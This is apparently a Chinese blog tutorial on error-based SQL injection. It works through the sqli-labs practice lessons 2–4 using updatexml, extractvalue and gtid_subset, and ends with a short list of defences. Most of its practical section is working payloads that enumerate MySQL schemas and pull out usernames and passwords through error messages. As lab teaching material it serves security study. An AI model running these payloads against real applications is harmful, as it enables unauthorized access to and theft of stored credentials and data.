SQL注入-报错注入
对于SQL的简单概述以及联合注入部分可参考此文https://blog.csdn.net/m0_74040194/article/details/152080600?spm=1001.2014.3001.5502https://blog.csdn.net/m0_74040194/article/details/152080600?spm=1001.2014.3001.5502
一、什么是报错注入呢?
其本质是利用数据库或应用程序的错误机制,将SQL查询的结果(如数据库结构、敏感数据等)通过错误信息直接“泄露给攻击者的技术手段。说的通俗点就是“报错注入就是想办法出发数据库的错误,并从中获取我们想要得到的数据”
但是这是有两个关键条件的:
- 存在SQL注入点;
- 并且数据库错误会显示到页面。例如SQLI-LABS的less-2,我们可以很明显的看到错误是爆露在页面的。
二、报错注入的原理
2.1 完整的工作流程:
- 如同联合注入一样,我们要先找到注入点,才能想办法进行注入。所以这一点是很重要的;
- 选择报错函数:如updatexml、extractvalue以及gtid_subset,这里可能就有读者要问了,为什么一定是他们呢?因为其函数的特性所导致的——非法参数触发报错并显示参数值;
- 构造payload,以updatexml()举例,将构造好的查询语句如“select user()”与concat()凭借特殊字符,如代码所示
updatexml(1,concat(0x7e,(select database()),0x7e),1)
- 根据返回的错误,如“XPATH syntax error:'~security~'”提取到当前的数据库为security。
2.2 对于上述函数使用的补充说明
为什么使用0x7e?
在ASCII编码中,十六进制0x7e对应的字符是波浪号~。其作用是破坏XPath的语法,使其强制出发报错信息。
concat函数的作用是什么?
将查询结果与特殊的字符拼接起来,让数据出现在报错的信息中。
为什么有的时候数据显示不完整?
因为extractvalue等函数有长度限制,这个时候就需要substr函数进行分段获取了
三、实战演示
接下来会用不同的三种函数展示报错注入。
3.1 updatexml函数(sqli-labs lesson2)
首先先判断其是否存在SQL注入,当输入单引号时候,发现其存在报错信息,并根据报错信息可以判断出此查询语句应该为
SELECT * FROM * WHERE id = '' LIMIT 0, 1;
然后根据“and 1=1和and 1=2”判断出此注入类型应该是整数型
于是乎我们可以通过updatexml函数进行报错注入,首先需要判断当前的用户名和所在数据库,通过查询语句
1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
1 and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
得到当前的数据库与用户名
之后进行查询所有的数据库,构造payload
1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+
得到所需数据库root后,接下来构造payload爆破所有表
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "root" limit 0,1),0x7e),1) --+
得到表名users后已知库名和表名,接下来查询字段名。
1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = "root" and table_name = "users" limit 0,1),0x7e),1) --+
得到表名,库名和字段名后便可以得到想要得到的信息
1 and updatexml(1,concat(0x7e,(select user from root.users limit 0,1),0x7e),1) --+
于是乎可以得到其账号密码
3.2 extractvalue函数(sqli-labs lesson3)
首先先判断其是否存在SQL注入,当输入单引号时候,发现其存在报错信息,并根据报错信息可以判断出此查询语句应该为
SELECT * FROM * WHERE id = ('') LIMIT 0, 1;
所以为了使其闭合,此时就应该采用')进行闭合
发现页面正常回显,此时获取当前的用户名和数据库名
and extractvalue(1,concat(0x7e,(select database()),0x7e)) -- +
and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+
然后爆破所有数据库名。需要注意的是这里的长度明显不够所以使用了substr进行切片,如果想查看之后的数据只需更改"1,31)"中的数字即可
and extractvalue("anything",concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,31))) --+
得到数据库名root,接下来输入以下payload进行查表
and extractvalue("anything",concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema = "root"),1,31)))--+
得到表名users。已知数据库名和表名,输入以下命令进行查询字段名
and extractvalue("anything",concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema="root" and table_name = "users"),1,31)))--+
得到字段名user和password后,利用该payload进行获取数据
and extractvalue(1,concat(0x7e,substring((select group_concat(user) from root.users),1,31))) --+
3.3 gtid_subset(sqli-labs lesson4)
根据测试注入双引号跟括号可以完成此闭合,所以此时,应该使用如图所示的方式进行闭合
首先构造payload获取用户名与当前所在的数据库
and gtid_subset(concat((select database())),123) --+
and gtid_subset(concat((select user())),123) --+
然后爆破所有数据库名
and gtid_subset(concat((select schema_name from information_schema.schemata limit 0,1)),1234)--+
得到数据库名root后,接下来输入以下命令获取表名
and gtid_subset(concat((select table_name from information_schema.tables where table_schema = "root" limit 0,1 )),1234) --+
得到表名users,已知表名和数据库名,查询字段名
and gtid_subset(concat((select column_name from information_schema.columns where table_schema = "root" and table_name = "users" limit 0,1)),1234) --+
接下来只需要如此就可以获得账号密码了
and gtid_subset(concat((select user from root.users limit 0,1)),1234) --+
但是要注意的是这里用的并不是xpath来获取,使用的是gtid
四、总结
在日常攻击中,通常先尝试报错注入,失败后再使用盲注。因为报错注入的效率更高,盲注过程中需要判断每一个字符的大小,这无疑增添了工作的难度和时间。同时,如果想对报错注入进行一个防御,可以过滤掉特殊字符(比如:and,or,单引号,双引号,减号等),同时设置权限,使用参数化查询以及关闭数据库的错误显示。